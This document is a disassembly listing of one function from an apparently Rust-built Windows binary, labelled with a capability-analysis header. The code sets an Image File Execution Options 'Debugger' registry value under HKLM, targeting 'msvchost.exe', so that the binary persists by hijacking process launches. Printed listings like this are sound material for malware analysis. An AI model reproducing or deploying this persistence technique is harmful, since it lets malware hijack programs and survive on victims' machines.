Function at 0x140015bb0
Capabilities:
Persist via image file execution options registry key
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe88
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xdf0], xmm6
mov qword [rbp + 0xde8], 0xfffffffffffffffe
lea rcx, [rbp - 0x48]
call fcn.1401a6ae0
movabs rsi, 0x8000000000000000
cmp qword [rbp - 0x48], rsi
jne 0x140015cd6
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x470], rax
mov rax, qword [str.xB__]
mov rax, qword [rax]
test rax, rax
je 0x140015cca
lea rax, [rbp + 0x470]
mov qword [rbp + 0x218], rax
lea rax, [0x1401a8410]
mov qword [rbp + 0x220], rax
lea rax, str.Failed_to_get_current_executable_path._Error:
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x938], 1
mov qword [rbp + 0x950], 0
lea rax, [rbp + 0x218]
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x948], 1
lea rcx, [0x1401e3e00]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0x6c8], rcx
mov qword [rbp + 0x6d0], 9
mov qword [rbp + 0x6d8], rcx
mov qword [rbp + 0x6e0], 9
mov qword [rbp + 0x6e8], rax
lea rcx, [rbp + 0x930]
lea r8, [rbp + 0x6c8]
mov edx, 1
xor r9d, r9d
call fcn.140146f90
lea rcx, [rbp + 0x470]
jmp 0x140016ac0
movups xmm0, xmmword [rbp - 0x48]
movups xmm1, xmmword [rbp - 0x38]
movaps xmmword [rbp + 0x940], xmm1
movaps xmmword [rbp + 0x930], xmm0
lea rcx, [rbp + 0x930]
call fcn.1401be680
mov r8, rdx
lea rcx, [rbp + 0x6c8]
mov rdx, rax
call fcn.1401be9d0
mov rcx, qword [rbp + 0x6c8]
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0xdd8], rax
mov r14, qword [rbp + 0x6d8]
cmp rcx, rsi
jne 0x140015d64
test r14, r14
je 0x140016b0b
js 0x140016b45
movzx eax, byte [0x1402f4241]
mov edi, 1
mov edx, 1
mov rcx, r14
call fcn.1400cc190
test rax, rax
je 0x140016b47
mov rsi, rax
jmp 0x140016b10
mov qword [rbp + 0xda0], rcx
mov rdx, qword [rbp + 0x930]
test rdx, rdx
je 0x140015d89
mov rcx, qword [rbp + 0x938]
mov r8d, 1
call fcn.1400cc1a0
lea rdx, str.C:WindowsSystem32RegistryMachineSOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_
lea rcx, [rbp + 0x930]
mov r8d, 0x13
call fcn.1401b3a00
cmp dword [rbp + 0x940], 2
jne 0x140015dca
mov rax, qword [rbp + 0x930]
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x6d8], 2
mov bl, 1
jmp 0x140016a92
lea rcx, [rbp + 0x6c8]
lea rdx, [rbp + 0x930]
mov r8d, 0x268
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0x6d8], 2
sete al
mov bl, 1
je 0x140016a92
mov byte [rbp + 0xde7], al
lea rdi, [rbp + 0x930]
lea rdx, [rbp + 0x6c8]
mov r8d, 0x268
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp - 0x40]
lea rsi, [rbp + 0xc18]
lea r12, [rbp + 0x478]
mov rax, qword [rbp + 0xdd8]
mov qword [rbp + 0xcb8], r14
add rax, r14
mov qword [rbp + 0xcc0], rax
lea r15, [rbp - 0x48]
lea r13, [rbp + 0x218]
lea r14, [rbp + 0xc48]
xorps xmm6, xmm6
jmp 0x140015e68
mov rcx, r12
call fcn.140013bf0
mov rcx, r15
mov rdx, rdi
call fcn.1401a7800
cmp qword [rbp - 0x48], 0
je 0x140016a66
mov r8d, 0x258
lea rcx, [rbp + 0x470]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x470], 0
je 0x140015e60
mov r8d, 0x258
mov rcx, r13
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
mov rdx, r13
call fcn.1401a7890
mov rcx, r14
call fcn.1401be680
mov rcx, rax
call fcn.1401ade60
test rax, rax
je 0x140015ee9
cmp rdx, 3
jne 0x140015ee9
movzx ecx, word [rax]
xor ecx, 0x7865
movzx eax, byte [rax + 2]
xor eax, 0x65
or ax, cx
je 0x140015f2f
mov rdx, qword [rbp + 0xc48]
test rdx, rdx
je 0x140015f07
mov rcx, qword [rbp + 0xc50]
mov r8d, 1
call fcn.1400cc1a0
mov rax, qword [rbp + 0x218]
lock dec qword [rax]
jne 0x140015f1c
mov rcx, r13
call fcn.140058dc0
cmp qword [rbp + 0x470], 0
jne 0x140015e68
jmp 0x140015e60
mov rcx, r14
call fcn.1401be680
mov rcx, rax
call fcn.1401ad840
test rax, rax
je 0x140015ee9
mov r8, rdx
lea rcx, [rbp + 0xcf8]
mov rdx, rax
call fcn.1401be9d0
cmp qword [rbp + 0xd08], 0xc
jne 0x14001611e
mov rcx, qword [rbp + 0xd00]
movzx eax, byte [rcx]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x6d
jne 0x14001611e
movzx eax, byte [rcx + 1]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x73
jne 0x14001611e
movzx eax, byte [rcx + 2]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x76
jne 0x14001611e
movzx eax, byte [rcx + 3]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x63
jne 0x14001611e
movzx eax, byte [rcx + 4]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x68
jne 0x14001611e
movzx eax, byte [rcx + 5]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x6f
jne 0x14001611e
movzx eax, byte [rcx + 6]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x73
jne 0x14001611e
movzx eax, byte [rcx + 7]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x74
jne 0x14001611e
movzx eax, byte [rcx + 8]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x2e
jne 0x14001611e
movzx eax, byte [rcx + 9]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x65
jne 0x14001611e
movzx eax, byte [rcx + 0xa]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x78
jne 0x14001611e
movzx eax, byte [rcx + 0xb]
lea edx, [rax - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, al
cmp dl, 0x65
jne 0x14001611e
mov rdx, qword [rbp + 0xcf8]
lea rax, [rdx*2]
test rax, rax
je 0x1400160c9
mov r8d, 1
call fcn.1400cc1a0
mov rdx, qword [rbp + 0xc48]
test rdx, rdx
je 0x1400160e7
mov rcx, qword [rbp + 0xc50]
mov r8d, 1
call fcn.1400cc1a0
mov rax, qword [rbp + 0x218]
lock dec qword [rax]
lea r12, [rbp + 0x478]
jne 0x140016103
mov rcx, r13
call fcn.140058dc0
cmp qword [rbp + 0x470], 0
jne 0x140015e68
mov rcx, r12
call fcn.140013bf0
jmp 0x140015e68
lea rax, [rbp + 0xcf8]
mov qword [rbp + 0xbf8], rax
lea rax, [0x140035fd0]
mov qword [rbp + 0xc00], rax
lea rax, [0x1401e3d98]
mov qword [rbp + 0xd68], rax
mov qword [rbp + 0xd70], 1
mov qword [rbp + 0xd88], 0
lea rax, [rbp + 0xbf8]
mov qword [rbp + 0xd78], rax
mov qword [rbp + 0xd80], 1
lea rcx, [rbp + 0xda8]
lea rdx, [rbp + 0xd68]
call fcn.1401c7a80
mov rax, qword [rbp + 0xda8]
mov qword [rbp + 0xd28], rax
mov rdx, qword [rbp + 0xdb0]
mov rax, qword [rbp + 0xdb8]
mov qword [rbp + 0xcc8], rdx
mov qword [rbp + 0xcd0], rax
mov rcx, qword [rbp + 0xdd8]
mov qword [rbp + 0xbd0], rcx
mov rcx, qword [rbp + 0xcb8]
mov qword [rbp + 0xbd8], rcx
add rax, rdx
mov qword [rbp + 0xd10], rdx
mov qword [rbp + 0xba0], rdx
mov qword [rbp + 0xba8], rax
mov word [rbp + 0xbb0], 0
mov dword [rbp + 0xbb8], 1
lea rcx, [rbp + 0xca0]
lea rdx, [rbp + 0xba0]
call fcn.1400cb910
mov eax, dword [rbp + 0xcb0]
add eax, eax
mov rcx, qword [rbp + 0xca8]
mov word [rbp + 0xc90], ax
mov word [rbp + 0xc92], ax
mov qword [rbp + 0xd30], rcx
mov qword [rbp + 0xc98], rcx
call fcn.140001f00
mov dword [rbp + 0xbf8], 0x30
mov qword [rbp + 0xc00], rax
lea rax, [rbp + 0xc90]
mov qword [rbp + 0xc08], rax
mov dword [rbp + 0xc10], 0
movups xmmword [rsi], xmm6
call fcn.140001f00
mov qword [rbp + 0xd38], rax
lea rcx, [rbp + 0xd38]
mov edx, 0xf003f
lea r8, [rbp + 0xbf8]
call qword [sym.imp.ntdll.dll_ZwOpenKey]
mov dword [rbp + 0xd24], eax
test eax, eax
je 0x1400163fd
cmp eax, 0xc0000034
jne 0x1400164c8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rbp + 0xd38]
mov edx, 0xf003f
lea r8, [rbp + 0xbf8]
xor r9d, r9d
call qword [sym.imp.ntdll.dll_ZwCreateKey]
mov dword [rbp + 0xc28], eax
mov rcx, qword [str.xB__]
mov rcx, qword [rcx]
test eax, eax
je 0x1400165fe
test rcx, rcx
je 0x1400165d4
lea rax, [rbp + 0xc28]
mov qword [rbp + 0xcd8], rax
lea rax, [0x1401d5920]
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0xd68], 2
mov qword [rbp + 0xd78], 2
mov qword [rbp + 0xd88], 0
movabs rax, 0x400000020
mov qword [rbp + 0xd90], rax
mov byte [rbp + 0xd98], 3
lea rax, str.Failed_to_create_IFEO_registry_key:_NTSTATUS_
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], 1
lea rax, [rbp + 0xd68]
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], 1
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], 1
lea rcx, [0x1401e3ea8]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0xd40], rcx
mov qword [rbp + 0xd48], 9
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0xd58], 9
mov qword [rbp + 0xd60], rax
mov edx, 1
lea rcx, [rbp + 0xda8]
lea r8, [rbp + 0xd40]
xor r9d, r9d
call fcn.140146f90
jmp 0x1400165d4
mov rax, qword [str.xB__]
mov rax, qword [rax]
cmp rax, 3
jb 0x1400166ba
lea rax, [rbp + 0xcc8]
mov qword [rbp + 0xd40], rax
lea rax, [0x1400b6d50]
mov qword [rbp + 0xd48], rax
lea rax, str.Successfully_opened_IFEO_registry_key:
mov qword [rbp + 0xd68], rax
mov qword [rbp + 0xd70], 1
mov qword [rbp + 0xd88], 0
lea rax, [rbp + 0xd40]
mov qword [rbp + 0xd78], rax
mov qword [rbp + 0xd80], 1
lea rcx, [0x1401e3ef8]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0xda8], rcx
mov qword [rbp + 0xdb0], 9
mov qword [rbp + 0xdb8], rcx
mov qword [rbp + 0xdc0], 9
mov qword [rbp + 0xdc8], rax
mov edx, 3
lea rcx, [rbp + 0xd68]
lea r8, [rbp + 0xda8]
xor r9d, r9d
call fcn.140146f90
jmp 0x1400166ba
mov rax, qword [str.xB__]
mov rax, qword [rax]
test rax, rax
je 0x1400165d4
lea rax, [rbp + 0xd24]
mov qword [rbp + 0xcd8], rax
lea rax, [0x1401d5920]
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0xd68], 2
mov qword [rbp + 0xd78], 2
mov qword [rbp + 0xd88], 0
movabs rax, 0x400000020
mov qword [rbp + 0xd90], rax
mov byte [rbp + 0xd98], 3
lea rax, str.Failed_to_open_IFEO_registry_key:_NTSTATUS_
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], 1
lea rax, [rbp + 0xd68]
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], 1
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], 1
lea rcx, [0x1401e4020]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0xd40], rcx
mov qword [rbp + 0xd48], 9
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0xd58], 9
mov qword [rbp + 0xd60], rax
mov edx, 1
lea rcx, [rbp + 0xda8]
lea r8, [rbp + 0xd40]
xor r9d, r9d
call fcn.140146f90
mov rdx, qword [rbp + 0xca0]
test rdx, rdx
je 0x140016a0e
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xd30]
call fcn.1400cc1a0
jmp 0x140016a0e
cmp rcx, 3
jb 0x1400166ba
lea rax, [rbp + 0xcc8]
mov qword [rbp + 0xd40], rax
lea rax, [0x1400b6d50]
mov qword [rbp + 0xd48], rax
lea rax, str.Successfully_created_IFEO_registry_key:
mov qword [rbp + 0xd68], rax
mov qword [rbp + 0xd70], 1
mov qword [rbp + 0xd88], 0
lea rax, [rbp + 0xd40]
mov qword [rbp + 0xd78], rax
mov qword [rbp + 0xd80], 1
lea rcx, [0x1401e3e50]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0xda8], rcx
mov qword [rbp + 0xdb0], 9
mov qword [rbp + 0xdb8], rcx
mov qword [rbp + 0xdc0], 9
mov qword [rbp + 0xdc8], rax
mov edx, 3
lea rcx, [rbp + 0xd68]
lea r8, [rbp + 0xda8]
xor r9d, r9d
call fcn.140146f90
lea rax, str.DebuggerSuccessfully_set_IFEO_Debugger_value:_____Debugger_
mov qword [rbp + 0xc28], rax
lea rax, [0x1401e3f18]
mov qword [rbp + 0xc30], rax
mov word [rbp + 0xc38], 0
mov dword [rbp + 0xc40], 1
lea rcx, [rbp + 0xc78]
lea rdx, [rbp + 0xc28]
call fcn.1400cb910
mov r12, rsi
mov rax, qword [rbp + 0xdd8]
mov qword [rbp + 0xcd8], rax
mov rax, qword [rbp + 0xcc0]
mov qword [rbp + 0xce0], rax
mov word [rbp + 0xce8], 0
mov dword [rbp + 0xcf0], 1
lea rcx, [rbp + 0xbe0]
lea rdx, [rbp + 0xcd8]
call fcn.1400cb910
mov r8, qword [rbp + 0xbe8]
mov eax, dword [rbp + 0xbf0]
add eax, eax
mov ecx, dword [rbp + 0xc88]
lea edx, [rcx*2 - 2]
add ecx, ecx
mov rsi, qword [rbp + 0xc80]
mov word [rbp + 0xc68], dx
mov word [rbp + 0xc6a], cx
mov qword [rbp + 0xc70], rsi
mov rcx, qword [rbp + 0xd38]
mov dword [rsp + 0x28], eax
mov qword [rbp + 0xd18], r8
mov qword [rsp + 0x20], r8
lea rdx, [rbp + 0xc68]
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rbp + 0xd20], eax
mov rcx, qword [str.xB__]
mov rcx, qword [rcx]
test eax, eax
je 0x1400168c7
test rcx, rcx
je 0x140016998
lea rax, [rbp + 0xd20]
mov qword [rbp + 0xbc0], rax
lea rax, [0x1401d5920]
mov qword [rbp + 0xbc8], rax
mov qword [rbp + 0xd68], 2
mov qword [rbp + 0xd78], 2
mov qword [rbp + 0xd88], 0
movabs rax, 0x400000020
mov qword [rbp + 0xd90], rax
mov byte [rbp + 0xd98], 3
lea rax, str.Failed_to_set_IFEO_Debugger_value:_NTSTATUS_
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], 1
lea rax, [rbp + 0xd68]
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], 1
lea rax, [rbp + 0xbc0]
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], 1
lea rcx, [0x1401e3fc8]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0xd40], rcx
mov qword [rbp + 0xd48], 9
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0xd58], 9
mov qword [rbp + 0xd60], rax
mov edx, 1
lea rcx, [rbp + 0xda8]
lea r8, [rbp + 0xd40]
xor r9d, r9d
call fcn.140146f90
jmp 0x140016998
cmp rcx, 3
jb 0x140016998
lea rax, [rbp + 0xcc8]
mov qword [rbp + 0xd40], rax
lea rax, [0x1400b6d50]
mov qword [rbp + 0xd48], rax
lea rcx, [rbp + 0xbd0]
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0xd58], rax
lea rax, [0x1401e3f50]
mov qword [rbp + 0xd68], rax
mov qword [rbp + 0xd70], 2
mov qword [rbp + 0xd88], 0
lea rax, [rbp + 0xd40]
mov qword [rbp + 0xd78], rax
mov qword [rbp + 0xd80], 2
lea rcx, [0x1401e3f70]
call fcn.140147080
lea rcx, str.ICBM::regsrc_reg.rs
mov qword [rbp + 0xda8], rcx
mov qword [rbp + 0xdb0], 9
mov qword [rbp + 0xdb8], rcx
mov qword [rbp + 0xdc0], 9
mov qword [rbp + 0xdc8], rax
mov edx, 3
lea rcx, [rbp + 0xd68]
lea r8, [rbp + 0xda8]
xor r9d, r9d
call fcn.140146f90
mov rcx, qword [rbp + 0xd38]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rdx, qword [rbp + 0xbe0]
test rdx, rdx
je 0x1400169c6
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xd18]
call fcn.1400cc1a0
mov rdx, qword [rbp + 0xc78]
test rdx, rdx
je 0x1400169e3
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.1400cc1a0
mov rdx, qword [rbp + 0xca0]
test rdx, rdx
je 0x140016a04
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0xd30]
call fcn.1400cc1a0
mov rsi, r12
lea r12, [rbp + 0x478]
mov rdx, qword [rbp + 0xd28]
test rdx, rdx
je 0x140016a2c
mov r8d, 1
mov rcx, qword [rbp + 0xd10]
call fcn.1400cc1a0
mov rdx, qword [rbp + 0xcf8]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140015ee9
test rdx, rdx
je 0x140015ee9
mov rcx, qword [rbp + 0xd00]
mov r8d, 1
call fcn.1400cc1a0
jmp 0x140015ee9
lea rcx, [rbp + 0x938]
call fcn.1401b3450
mov rax, qword [rbp + 0x930]
lock dec qword [rax]
jne 0x140016a8b
lea rcx, [rbp + 0x930]
call fcn.140058dc0
movzx ebx, byte [rbp + 0xde7]
mov rdx, qword [rbp + 0xda0]
test rdx, rdx
je 0x140016ab0
mov r8d, 1
mov rcx, qword [rbp + 0xdd8]
call fcn.1400cc1a0
cmp dword [rbp + 0x6d8], 2
jne 0x140016ae0
lea rcx, [rbp + 0x6c8]
call fcn.140013bf0
movaps xmm6, xmmword [rbp + 0xdf0]
add rsp, 0xe88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test bl, bl
je 0x140016ac5
lea rcx, [rbp + 0x6d0]
call fcn.1401b3450
mov rax, qword [rbp + 0x6c8]
lock dec qword [rax]
jne 0x140016ac5
lea rcx, [rbp + 0x6c8]
call fcn.140058dc0
jmp 0x140016ac5
mov esi, 1
mov rcx, rsi
mov rdx, qword [rbp + 0xdd8]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xdd8], rsi
mov qword [rbp + 0xda0], r14
mov rdx, qword [rbp + 0x930]
test rdx, rdx
jne 0x140015d77
jmp 0x140015d89
xor edi, edi
mov rcx, rdi
mov rdx, r14
call fcn.1401dfc20
ud2